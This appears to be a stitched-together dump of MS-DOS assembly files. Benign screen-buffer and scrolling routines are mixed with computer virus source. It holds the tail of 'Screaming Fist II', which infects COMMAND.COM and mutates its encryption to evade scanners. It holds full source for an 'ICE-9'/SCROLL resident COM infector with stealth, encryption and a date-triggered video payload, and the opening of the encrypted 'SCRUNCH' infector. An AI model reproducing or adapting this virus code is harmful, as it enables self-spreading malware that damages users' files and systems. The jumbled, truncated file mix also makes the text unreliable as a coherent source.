;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
RESTORE_TIME:
MOV AX,5701H ;Restore original date and time
POP DX ;To what was read in earlier
POP CX ;
CALL FUNCTION ;
JMP LEAVE_AND_CLOSE ;Leave
DONE:
MOV DX,OFFSET OLD_24_BX W ;Move the old INT 24's address
MOV DS,OFFSET OLD_24_ES W ;so we can restore it
MOV AX,2524H ;Restore it
CALL FUNCTION
POP ES ;Restore all registers
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
RET ;And quit
RESTORE_ATTRIBS:
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
; This routine restores the files original attributes. ;
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
MOV AX,4301H ;Restore original attribs
MOV CX,[OLD_ATTRIBS] ;To what was read in earlier
MOV DS,OLD_DS
CALL FUNCTION
RET
NEW_24:
XOR AX,AX ;Any error will simply be ignored
STC ;Most useful for write protects
IRET
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
;Please don't be a lamer and change the text to claim it was your own creation ;
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
TEXT DB 'Screaming Fist II' ;For the AV people, can't have a dumb name!
COMMAND DB 'C:\COMMAND.COM',00 ;File infected
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
; This routine checks to see if the file at DS:DX has an extension of either ;
; .COM or .EXE. AX is set to zero if either condition is met, and non-zero ;
; If they aren't. ;
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
CHECK_NAME:
PUSH SI
MOV SI,DX
CHECK_FOR_PERIOD:
LODSB
OR AL,AL
JZ LEAVE_NAME_CHECK
CMP AL,'.'
JNZ CHECK_FOR_PERIOD
LODSB
AND AL,0DFH
CMP AL,'C'
JZ MAYBE_COM
CMP AL,'E'
JZ MAYBE_EXE
JMP SHORT LEAVE_NAME_CHECK
MAYBE_COM:
LODSW
AND AX,0DFDFH
CMP AX,'MO'
JZ FILE_GOOD
JMP SHORT LEAVE_NAME_CHECK
MAYBE_EXE:
LODSW
AND AX,0DFDFH
CMP AX,'EX'
JNZ LEAVE_NAME_CHECK
FILE_GOOD:
XOR AX,AX
LEAVE_NAME_CHECK:
POP SI
RET
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;This is the encryption routine. This is the only portion that remains º
;unencrypted. The bytes mark by an ENC_SWITCH are changed to throw off SCAN º
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ENC_START EQU $
DECRYPT_US:
POP BP
PUSH BP
ENC_SWITCH EQU $
MOV SI,BP ;Alternates between this and PUSH BP, POP SI
MOV AL,CS:[BP+ENC_BYTE-NEXT_PLACE] ;Get ENC key #1
MOV DL,CS:[BP+ENC_BYTE_2-NEXT_PLACE] ;Get ENC key #2
ENCRYPT_US:
MOV CX,ENC_LENGTH ;Length to encrypt or decrypt
ENCRYPT_US_II:
ENC_SWITCH_1 EQU $
NOT AL ;Alternates bewtween NOT and NEG
ENC_SWITCH_2 EQU $
XOR DL,AL ;Alternates between this and XOR AL,DL
ENC_SWITCH_4 EQU $
XOR BYTE PTR CS:[SI],AL ;Alternates bewteen AL and DL
SUB AL,DL
ENC_SWITCH_3 EQU $
NOT DL ;Alternates between NOT and NEG
ENC_SWITCH_5 EQU $
XOR BYTE PTR CS:[SI],DL ;Alternates between DL and AL
INC SI ;INC encryption pointer
ENC_SWITCH_6 EQU $
INC DL ;Alternates between INC and DEC
LOOP ENCRYPT_US_II
RET
ENC_BYTE DB 00 ;Storage space for encryption keys
ENC_BYTE_2 DB 00
FINI EQU $
LENGTH = FINI - CURTAIN_OPEN
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
;This is the data table and is not included in the virus size ;
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
DATA_BEGIN EQU $
OLD_ATTRIBS DW 00 00 ;File's old attributes
OLD_24_ES DW 00 00 ;Saves address of old INT 24
OLD_24_BX DW 00 00
OLD_DS DW 00 00 ;Saves DS and ES here on entering
OLD_ES DW 00 00
BUFFER_BEGIN EQU $
BUFFER EQU $
DB 1BH DUP(0) ;Buffer for bytes read in from file
BUFFER_END EQU $
DATA_END EQU $
DATA_LENGTH = DATA_END - DATA_BEGIN ;Length of Data Table
BUF_LENGTH = BUFFER_END - BUFFER_BEGIN ;Length of file buffer
ENC_LENGTH = ENC_START - OFFSET NEXT_PLACE
+230
View File
@@ -0,0 +1,230 @@
TITLE scrn2.asm
; AUTHOR Tim Spencer - Compuserve [73657,1400]
; DATE March 15, 1987
_TEXT SEGMENT BYTE PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT WORD PUBLIC 'DATA'
SCRN STRUC ; screen data structure - defined in video.h
off dw 0 ; offset (cursor position)
seg dw 0 ; screen buffer address
port dw 0 ; status port address
attrib dw 0 ; attribute to use
cgacrd dw 0 ; retrace checking enabled if not zero
SCRN ENDS
_DATA ENDS
DGROUP GROUP _DATA
ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:NOTHING
_TEXT SEGMENT BYTE PUBLIC 'CODE'
;-----------------------------------------------------------------------;
; scrn_puts - MSC callable routine for printing a string directly to ;
; the screen buffer. ;
; ;
; Usage: scrn_puts(string, attribute, &structure_name); ;
;-----------------------------------------------------------------------;
_DATA SEGMENT
scrn_puts_args STRUC ; args as pushed by calling program
dw 0 ; saved bp value
dw 0 ; return address
str_ptr dw 0 ; address of string
sstruc dw 0 ; pointer to SCRN structure
scrn_puts_args ENDS
_DATA ENDS
PUBLIC _scrn_puts
_scrn_puts PROC NEAR
push bp ;set up frame pointer
mov bp,sp
push di
push si
mov si,[bp].str_ptr ; get the string pointer
mov bx,[bp].sstruc ; get pointer to SCRN structure
les di,dword ptr[bx].off ; put offset in di, buffer addr in es
mov ch,byte ptr[bx].attrib ; put attribute in cx
mov dx,[bx].port ; get status port address
load_one:
lodsb ; load a char and advance str ptr
or al,al ; is it null ?
jz puts_exit ; yes, lovely chatting. Chow babe.
mov cl,al ; no, save in cl for a few millisecs
cmp [bx].cgacrd, 0 ; cga card present?
jnz swait1 ; yes...go wait
mov ax,cx ; no.
stosw ; write it
jmp short load_one ; as fast as you can!
swait1:
in al, dx ; wait for end of retrace
shr al, 1 ; test horizontal trace bit
jc swait1 ; loop if still tracing
cli ; disable writus interuptus
swait2:
in al, dx ; now wait until the very moment
shr al, 1 ; when the next retrace begins
jnc swait2 ; still waiting...
mov al,cl ; load the char into al for stosb
stosb ; write it and update pointer
sti ; enable interrupts again
swait3:
in al, dx ; repeat these steps for the attribute
shr al, 1
jc swait3
cli
swait4:
in al, dx
shr al, 1
jnc swait4
mov al,ch ; load the attribute
stosb
sti
jmp short load_one ; and get another
puts_exit:
mov [bx].off,di ; save new offset ( cur pos )
pop si
pop di
pop bp
ret
_scrn_puts ENDP
;-----------------------------------------------------------------------;
; scrn_putca - MSC callable function to print a char and attribute ;
; directly to the screen buffer. The logical cursor ;
; position IS UPDATED on return. ;
; ;
; Usage: scrn_putca(char, attribute, &structure_name ;
;-----------------------------------------------------------------------;
_DATA SEGMENT
scrn_putca_args STRUC ; args as pushed by calling program
dw 0 ; saved bp value
dw 0 ; return address
pchar dw 0 ; char to write
pstruc dw 0 ; pointer to SCRN structure
scrn_putca_args ENDS
_DATA ENDS
PUBLIC _scrn_putca
_scrn_putca PROC NEAR
push bp ; set up frame pointer
mov bp,sp
push di
mov bx,[bp].pstruc ; get pointer to SCRN structure
les di,dword ptr[bx].off ; get offset in di, buffer addr in es
mov dx,[bx].port ; status port address
mov ch,byte ptr[bx].attrib ; get attribute into ch
mov cl,byte ptr[bp].pchar ; and char into cl
cmp [bx].cgacrd, 0 ; cga card present?
jnz cwait1 ; yes...go wait
mov ax,cx ; no.
stosw ; write it
jmp short cexit ; exit.
cwait1:
in al, dx ; wait for end of retrace
shr al, 1 ; test horizontal trace bit
jc cwait1 ; loop if still tracing
cli ; disable writus interuptus
cwait2:
in al, dx ; now wait until the very moment
shr al, 1 ; when the next retrace begins
jnc cwait2 ; still waiting...
mov al,cl ; load the char into al for stosb
stosb ; write it and update pointer
sti ; enable interrupts again
cwait3:
in al, dx ; repeat these steps for the attribute
shr al, 1
jc cwait3
cli
cwait4:
in al, dx
shr al, 1
jnc cwait4
mov al,ch ; load the attribute
stosb
sti ; whew...all done...enable interrupts
cexit:
mov [bx].off, di ; update logical cursor position
pop di ; (offset) before leaving
pop bp
ret
_scrn_putca ENDP
;-----------------------------------------------------------------------;
; _scrn_getca - get char and attrib from screen ;
; ;
; usage: char = scrn_getca(&attrib,p_scn_data) ;
; ;
;-----------------------------------------------------------------------;
_DATA SEGMENT
getca_args STRUC ; input arguments
dw 0 ; saved BP value
dw 0 ; return address
gattrib dw 0 ; store attribute here
gstruct dw 0 ; pointer to SCRN
getca_args ENDS
_DATA ENDS
PUBLIC _scrn_getca
_scrn_getca PROC NEAR
push bp ; set up frame pointer
mov bp,sp
push si
mov bx,[bp].gstruct ; get pointer to SCRN structure
mov dx,[bx].port ; get status port address
push ds ; lds uses ds - must save
lds si,dword ptr[bx].off ; get offset and segment address
gwait1:
in al, dx ; wait for end of retrace
shr al, 1 ; test horizontal trace bit
jc gwait1 ; loop if still tracing
cli ; disable writus interuptus
gwait2:
in al, dx ; now wait until the very moment
shr al, 1 ; when the next retrace begins
jnc gwait2 ; still waiting...
lodsb ; get the char into al
sti ; enable interrupts again
mov cl,al ; save the char in cl
gwait3:
in al, dx ; repeat these steps for the attribute
shr al, 1
jc gwait3
cli
gwait4:
in al, dx
shr al, 1
jnc gwait4
lodsb ; get the attribute in al
sti
pop ds ; restore data segment to norm
mov word ptr [bx],si ; update offset (logical cursor)
mov si,word ptr[bp].gattrib ; get address to store attrib
mov byte ptr [si],al ; store the attribute at "&attrib"
mov al,cl ; move the char to al and
xor ah,ah ; zero out ah so that ax = char,
; the return value
pop si
pop bp
ret
_scrn_getca ENDP
_TEXT ENDS
END

+251
View File
@@ -0,0 +1,251 @@
TITLE scrn3.asm
; AUTHOR Tim Spencer - Compuserve [73657,1400]
; DATE March 17, 1987
_TEXT SEGMENT BYTE PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT WORD PUBLIC 'DATA'
SCRN STRUC ; screen data structure - defined in video.h
off dw 0 ; offset (cursor position)
seg dw 0 ; screen buffer address
port dw 0 ; status port address
attrib dw 0 ; attribute to use
cgacrd dw 0 ; enable retrace checking if not zero
SCRN ENDS
_DATA ENDS
DGROUP GROUP _DATA
ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:NOTHING
_TEXT SEGMENT BYTE PUBLIC 'CODE'
;-----------------------------------------------------------------------;
; scrn_restore - MSC callable function to restore a rectangular area ;
; of the screen buffer. Checks for vertical retrace ;
; only if the external structure member cga_card is ;
; non-zero. &scrn is the address of that structure. ;
; (see video.h). ;
; ; ;
; Note: This procedure uses stosb in retrace checking mode (instead of ;
; movsb) because it stuffs the char/attrib into the screen buffer ;
; slightly faster. ;
; ;
; Usage: scrn_restore(left, right, top, bottom, data_buff, &scrn) ;
; ;
;-----------------------------------------------------------------------;
_DATA SEGMENT
restore_args STRUC ; structure for easy argument reference
dw 0 ; saved BP value
dw 0 ; return address
rleft dw 0 ; rectangular boundries...
rright dw 0
rtop dw 0
rbottom dw 0
mdata dw 0 ; address of data buffer to write to screen
mstruct dw 0 ; pointer to SCRN structure(defined in video.h)
restore_args ENDS
cga db 0 ; variable to hold cga_card value
_DATA ENDS
PUBLIC _scrn_restore
_scrn_restore PROC NEAR
push bp ; set up frame pointer
mov bp,sp
push si
push di
mov bx,[bp].mstruct ; get pointer to SCRN structure
les di,dword ptr[bx].off ; get scrn seg in es, off in di
mov dx,[bx].port ; get status port address
mov ax,[bx].cgacrd ; hold cga status in variable cga
mov cga,al
mov si,[bp].mdata ; make si point to data buffer
mov bh,byte ptr[bp].rtop ; top will be incremented until it
mov bl,byte ptr[bp].rbottom ; is greater than bottom, then exit.
xor cx,cx ; set initial logical cursor position
mov cl,bh ; by getting top into cx,
mov al,80 ; multiplying by 80,
mul cl
mov cx,ax
add cx,[bp].rleft ; adding left.
shl cx,1 ; and multiplying by 2
mov di,cx ; put result into di
mov cx,[bp].rright ; get the length of one line into
sub cx,[bp].rleft ; cx by subtracting left from right
add cx,1 ; adding 1
push cx ; save it
mov ax,79 ; calculate offset from end of line to
sub ax,[bp].rright ; the start of the next line
add ax,[bp].rleft
shl ax,1
push ax ; and save it
write_line:
cmp cga,0 ; cga card in use?
jnz rwait1 ; yes, go wait
rep movsw ; no, warp speed.
jmp short rcheck_pos ; go check position
rwait1:
in al, dx ; wait for end of retrace
shr al, 1 ; test horizontal trace bit
jc rwait1 ; loop if still tracing
cli ; disable writus interuptus
rwait2:
in al, dx ; now wait until the very moment
shr al, 1 ; when the next retrace begins
jnc rwait2 ; still waiting...
mov al,[si] ; load the char into al for stosb
stosb ; write it and update pointer
sti ; enable interrupts again
inc si ; point si at attribute
rwait3:
in al, dx ; repeat these steps for the attribute
shr al, 1
jc rwait3
cli
rwait4:
in al, dx
shr al, 1
jnc rwait4
mov al,[si] ; load the attribute
stosb
sti
inc si ; point si at next char
loop rwait1
rcheck_pos:
pop ax ; restore offset to next line start
pop cx ; restore count
inc bh ; is top greater than bottom yet?
cmp bh,bl
ja rexit ; yes.
push cx ; no, save count again
push ax ; save line start offset again
add di,ax ; move di to start of next line
jmp short write_line ; write another line
rexit:
pop di
pop si
pop bp
ret
_scrn_restore ENDP
;-----------------------------------------------------------------------;
; scrn_save - MSC callable function to save a rectangular area of the ;
; screen to a user defined buffer. ;
; ;
; Usage: scrn_save(left, right, top, bottom, data_buff, &scrn) ;
;-----------------------------------------------------------------------;
_DATA SEGMENT
save_args STRUC ; structure for easy argument reference
dw 0 ; saved bp value
dw 0 ; return address
sleft dw 0 ; rectangular boundries
sright dw 0
stop dw 0
sbottom dw 0
sbuff dw 0 ; user defined buffer to hold screen contents
sstruct dw 0 ; pointer to SCRN structure (see video.h)
save_args ENDS
_DATA ENDS
scga db 0 ; store cga true/false value here - must be
; declared outside data segment because es and
; ds are swapped in this function.
PUBLIC _scrn_save
_scrn_save PROC NEAR
push bp ; set up frame pointer
mov bp,sp
push si
push di
push ds
mov bx,[bp].mstruct ; get pointer to SCRN structure
mov dx,[bx].port ; get status port address
mov ax,[bx].cgacrd ; hold cga status in variable scga
mov scga,al
mov ax,ds
mov es,ax ; get data segment into es
mov di,[bp].sbuff ; and offset of user buffer in di
mov ax,[bx].seg ; get the screen segment and
mov ds,ax ; put in ds
mov bh,byte ptr[bp].stop ; top will be incremented until it
mov bl,byte ptr[bp].sbottom ; is greater than bottom, then exit.
xor cx,cx ; set initial logical cursor position
mov cl,bh ; by getting top into cx,
mov al,80 ; multiplying by 80,
mul cl
mov cx,ax
add cx,[bp].sleft ; adding left.
shl cx,1 ; and multiplying by 2
mov si,cx ; put result into si
mov cx,[bp].sright ; get the length of one line into
sub cx,[bp].sleft ; cx by subtracting left from right
add cx,1 ; adding 1
push cx ; save it
mov ax,79 ; calculate offset from end of line to
sub ax,[bp].sright ; the start of the next line
add ax,[bp].sleft
shl ax,1
push ax ; and save it
read_line:
cmp cga,0 ; cga card in use?
jnz swait1 ; yes, go wait
rep movsw ; no, warp speed.
jmp short scheck_pos ; go check position
swait1:
in al, dx ; wait for end of retrace
shr al, 1 ; test horizontal trace bit
jc swait1 ; loop if still tracing
cli ; disable writus interuptus
swait2:
in al, dx ; now wait until the very moment
shr al, 1 ; when the next retrace begins
jnc swait2 ; still waiting...
mov al,[si] ; load the char into al for stosb
stosb ; write it and update pointer
sti ; enable interrupts again
inc si ; point si at attribute
swait3:
in al, dx ; repeat these steps for the attribute
shr al, 1
jc swait3
cli
swait4:
in al, dx
shr al, 1
jnc swait4
mov al,[si] ; load the attribute
stosb
sti
inc si ; point si at next char
loop swait1
scheck_pos:
pop ax ; restore offset to next line start
pop cx ; restore count
inc bh ; is top greater than bottom yet?
cmp bh,bl
ja sexit ; yes.
push cx ; no, save count again
push ax ; save line start offset again
add si,ax ; move di to start of next line
jmp short read_line ; write another line
sexit:
pop ds
pop di
pop si
pop bp
ret
_scrn_save ENDP
_TEXT ENDS
END

@@ -0,0 +1,55 @@
TITLE scrn4.asm
; AUTHOR Tim Spencer - Compuserve [73657,1400]
; DATE March 19, 1987
_TEXT SEGMENT BYTE PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT WORD PUBLIC 'DATA'
_DATA ENDS
DGROUP GROUP _DATA
ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:NOTHING
_TEXT SEGMENT BYTE PUBLIC 'CODE'
;-----------------------------------------------------------------------;
; vcard_type - Tests for type of video card in use ;
; ;
; Returns: 0 = MONOCHROME ADAPTER ;
; 1 = COLOR GRAPHICS ADAPTER ;
; 2 = ENHANCED GRAPHICS ADAPTER ;
;-----------------------------------------------------------------------;
PUBLIC _vcard_type
_vcard_type PROC NEAR
push es
mov ax,40h ; point es to BIOS area
mov es,ax
mov al,es:[87h] ; is there an EGA card?
cmp al,0
je mono_test ; no ega, check for mono
test al,00001000b ; test bit 3
jnz mono_test ; bit 3 was set - ega not active card
mov ax,2 ; ega is in use...return a 2
jmp short exit
mono_test:
mov al,es:[10h] ; get video status byte
and al,00110000b ; isolate bits 4 and 5
cmp al,48 ; is it a mono card?
jne assume_cga ; no, assume it's a cga
mov ax,0 ; return 0 for mono card
jmp short exit
assume_cga:
mov ax,1 ; return a 1 for cga card
exit: pop es
ret
_vcard_type ENDP
_TEXT ENDS
END

@@ -0,0 +1,426 @@
NAME XX2
PAGE 55,132
TITLE ?????
len equ offset handle-offset main2
enlen1 equ offset int21-offset main3
code segment
ASSUME CS:CODE,DS:CODE,ES:CODE
org 100h
main: xor si,si
call level1
jmp main2
dd 0h
main2: call level1
jmp main3
int24 dd 0h
level1: call nextline
nextline: pop ax
xchg si,ax
sub si,offset nextline
lea di,(main3+si)
mov cx,enlen1
uncry1: xor byte ptr ds:[di],01h
key: inc di
loop uncry1
ret
main3: lea ax,(oldstart+si)
mov di,0100h
mov cx,2
xchg si,ax
cld
repz movsw
xchg si,ax
mov cs:[scrolrq],00h
mov ax,0f307h
int 21h
cmp ax,0cf9h
je run_old
jmp instal
run_old: mov ax,cs
mov ds,ax
mov es,ax
mov ax,0100h
jmp ax
instal: xor ax,ax ; Residency Routine
push ax
mov ax,es
dec ax
mov es,ax
pop ds
cmp byte ptr es:[0],5ah
jne run_old
mov ax,es:[3]
sub ax,0bch
jb run_old
mov es:[3],ax
sub word ptr es:[12h],0bch
mov es,es:[12h]
push ds
push cs
pop ds
mov di,offset main2
lea ax,(main2+si)
xchg si,ax
mov cx,len
cld
repz movsb
pop ds
xchg si,ax
mov ah,2ah
int 21h
cmp cx,1993
jb instal_int21
cmp dl,3
jne instal_int21
cmp al,4h
jne instal_int21
jmp instal_scrol
instal_int21: xor ax,ax
mov ds,ax
mov ax,ds:[0084h]
mov bx,ds:[0086h]
mov word ptr es:[int21],ax
mov word ptr es:[int21+2],bx
cli
mov ds:[0084h],offset new21
mov ds:[0086h],es
sti
push cs
pop es
jmp run_old
; Int 1ch Handler
new1c: inc word ptr cs:[count]
cmp word ptr cs:[count],1554h
jb chain_1c
push ax
push dx
push ds
xor ax,ax
mov ds,ax
mov dx,word ptr ds:[0463h]
in al,dx
push ax
mov al,8
out dx,al
inc dx
in al,dx
mov ah,al
inc ah
and ah,0fh
and al,0f0h
or al,ah
out dx,al
pop ax
dec dx
out dx,al
pop ds
pop dx
pop ax
chain_1c: jmp cs:[int1c]
int1c dd 0h
count dw 0h
scrolrq db 0h
; Int 21h Handler
adjust_fcb: push bx
push es
push ax
mov ah,2fh
call i21
pop ax
call i21
push ax
cmp al,0ffh
je not_fcb_adjust
cmp byte ptr es:[bx],0ffh
jne normal_fcb
add bx,7
normal_fcb: mov al,byte ptr es:[bx+17h]
and al,1fh
cmp al,1fh
jne not_fcb_adjust
sub es:[bx+1dh],len
not_fcb_adjust: pop ax
pop es
pop bx
retf 2
check_fcb: cmp ah,11h
je adjust_fcb
cmp ah,12h
je adjust_fcb
jmp check_infect
new21: cmp ax,0f307h
jne check_for_handle
neg ax
retf 2
check_for_handle: cmp ah,4eh
jb check_fcb
cmp ah,4fh
ja check_infect
jmp adjust
chain_21: jmp cs:[int21]
check_infect: cmp byte ptr cs:[scrolrq],0ffh
je chain_21
cmp ah,3dh
je open_request
cmp ah,4bh
je open_request
jmp chain_21
open_request: push ax
push bx
push cx
push dx
push es
push bp
push di
push ds
mov di,dx
mov cx,6fh
next_byte: cmp ds:[di],'C.'
jne inc_pointer
cmp ds:[di+2],'MO'
jne inc_pointer
cmp byte ptr ds:[di+4],00h
jne inc_pointer
jmp infect_it
inc_pointer: inc di
loop next_byte
exit_21: pop ds
pop di
pop bp
pop es
pop dx
pop cx
pop bx
pop ax
jmp chain_21
infect_it:
mov bp,sp
mov dx,ss:[bp+8]
mov ax,4300h
call i21
mov cs:[file_attr],cx
and cx,01fh
cmp cx,2
jae exit_21
xor cx,cx
mov ax,4301h
call i21
open_file: mov ax,3d02h
call i21
jc exit_21
mov cs:[handle],ax
mov ax,cs
mov ds,ax
mov es,ax
mov ax,5700h
call file_int21
mov ds:[file_time],cx
mov ds:[file_date],dx
mov ah,3fh
mov dx,offset oldstart
mov cx,4h
call file_int21
mov ax,4200h
xor cx,cx
mov dx,word ptr ds:[oldstart+1]
add dx,3
call file_int21
mov ah,3fh
mov dx,offset buff
mov cx,5
call file_int21
mov di,offset buff
mov si,offset main2
mov cx,5
cld
compare_next: repz cmpsb
je close_21
no_marker: mov ax,4202h
xor cx,cx
mov dx,cx
call file_int21
cmp ax,0fd00h-len
ja close_21
sub ax,3
mov word ptr ds:[jump+1],ax
call encry_and_save
mov ax,4200h
xor cx,cx
mov dx,cx
call file_int21
mov ah,40h
mov cx,3
mov dx,offset jump
call file_int21
mov cx,ds:[file_time]
or cl,01fh
mov dx,ds:[file_date]
mov ax,5701h
call file_int21
mov dx,ss:[bp+8]
pop ds
push ds
mov ax,4301h
mov cx,cs:[file_attr]
call i21
close_21: mov ah,3eh
call file_int21
jmp exit_21
instal_scrol: push es
mov ah,12h
mov bx,2210h
int 10h
pop es
cmp bx,2210h
jne change_int8
jmp instal_int21
adjust: push es
push bx
push ax
mov ah,2fh
call i21
pop ax
call i21
pushf
push ax
jc ret_from_inter
mov ah,byte ptr es:[bx+16h]
and ah,01fh
cmp ah,01fh
jne ret_from_inter
sub word ptr es:[bx+1ah],len
ret_from_inter: pop ax
popf
pop bx
pop es
retf 2
file_int21: mov bx,cs:[handle]
i21: pushf
call cs:[int21]
ret
change_int8: mov ax,351ch
push es
int 21h
pop ds
mov word ptr ds:[int1c],bx
mov word ptr ds:[int1c+2],es
mov ax,251ch
mov dx,offset new1c
int 21h
push ds
pop es
mov byte ptr ds:[scrolrq],0ffh
jmp instal_int21
; Data Area
info db '[SCROLL]',00h
db 'ICE-9'
db ' ARcV',00h
oldstart: mov ah,4ch
int 21h
jump db 0e9h,00h,00h
command db '\COMMAND.COM',00h
int21 dd 0h
encry_and_save: cli
call level1
mov ah,40h
mov cx,len
mov bx,ds:[handle]
mov dx,offset main2
pushf
call cs:[int21]
call level1
add byte ptr cs:[key-1],2
sti
ret
handle dw 0h
file_time dw 0h
file_date dw 0h
file_attr dw 0h
buff db 70h dup (?)
code ends
end main
@@ -0,0 +1,99 @@
; Resident program to provide flicker-free write_tty scroll for Color
; Graphics Adapter clones with dual-ported memory. M. Abrash 5/3/86.
; Make runnable with MASM-LINK-EXE2BIN.
cseg segment
assume cs:cseg
org 100h ;necessary for COM file
start proc near
jmp makeres
old_int10 dd ?
; front end routine for BIOS video handler to scroll without flicker
scroll_front_end:
cmp ax,0e0ah ;only intercept write_tty function
jnz pass_to_bios ; called with linefeed
push ax
push bx
mov ah,0fh
int 10h ;get current page & mode
cmp al,2
jz check_row ;BIOS only blanks in modes 2 & 3, so
cmp al,3 ; only intercept linefeed scroll in
jnz pass_to_bios2 ; modes 2 & 3
check_row: ;see if cursor is on bottom row, in
push cx ; which case linefeed causes scroll
push dx
mov ah,3
int 10h ;get cursor location in current page
cmp dh,24
jnz pass_to_bios3 ;cursor not on bottom row, no scroll
push ds ;meets all the criteria, so perform
push es ; scroll in current page with special
push si ; routine that doesn't disable video
push di
mov ah,0fh
int 10h ;get # columns & page
mov al,ah
sub ah,ah ;convert to word
push ax ;set aside # columns
mov si,ax
shl si,1 ;move from second row (each character=2 bytes)
mov ah,24
mul ah ;# words to move (24 rows)
mov cx,ax
sub ax,ax ;now adjust offsets for current page
mov ds,ax ;buffer length is stored in BIOS segment
mov al,bh ;get current page
mul word ptr ds:[44ch] ;offset of start of current page
add si,ax ;move data from second row of current page
mov di,ax ; to top of current page
mov ax,0b800h
mov ds,ax
mov es,ax ;will move data in display segment
cld
rep movsw ;scroll screen up
mov ah,8 ;BH already has current page
int 10h ;get attribute of character at cursor
mov al,' ' ;fill with blanks & attribute just obtained
pop cx ;# of words per row
rep stosw ;blank bottom row-DI points to bottom row
pop di ;done
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
iret
pass_to_bios3:
pop dx
pop cx
pass_to_bios2:
pop bx
pop ax
pass_to_bios: ;pass interrupt to normal BIOS handler
jmp cs:[old_int10]
endres:
; make scroll front end handler resident & revector interrupt 10 to it
makeres:
push cs
pop ds
assume ds:cseg
mov ax,3510h ;DOS get vector function, vector 10h
int 21h ;get vector 10h
mov word ptr [old_int10],bx ;set aside old vector to
mov word ptr [old_int10+2],es ; allow pass to BIOS
mov ax,2510h ;DOS set vector function, vector 10h
mov dx,offset scroll_front_end ;revector interrupt
int 21h ; 10h to front end routine
mov dx,offset endres ;# of paragraphs to make
mov cl,4 ; resident-can't do with an
shr dx,cl ; expression because assembler can't
inc dx ; calculate w/relocatable label
mov ax,3100h ;DOS make resident fn, exit code=0
int 21h ;terminate & stay resident
start endp
cseg ends
end start

@@ -0,0 +1,251 @@
; [SCRUNCH] by Abraxas
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
mov cx,(offset heap - offset startencrypt)/2 ; iterations
patch_startencrypt:
mov di,offset startencrypt ; start of decryption
decrypt_loop:
db 81h,35h ; xor word ptr [di], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc di ; calculate new decryption location
inc di
loop decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsw
movsb
mov byte ptr [bp+numinfec],1 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
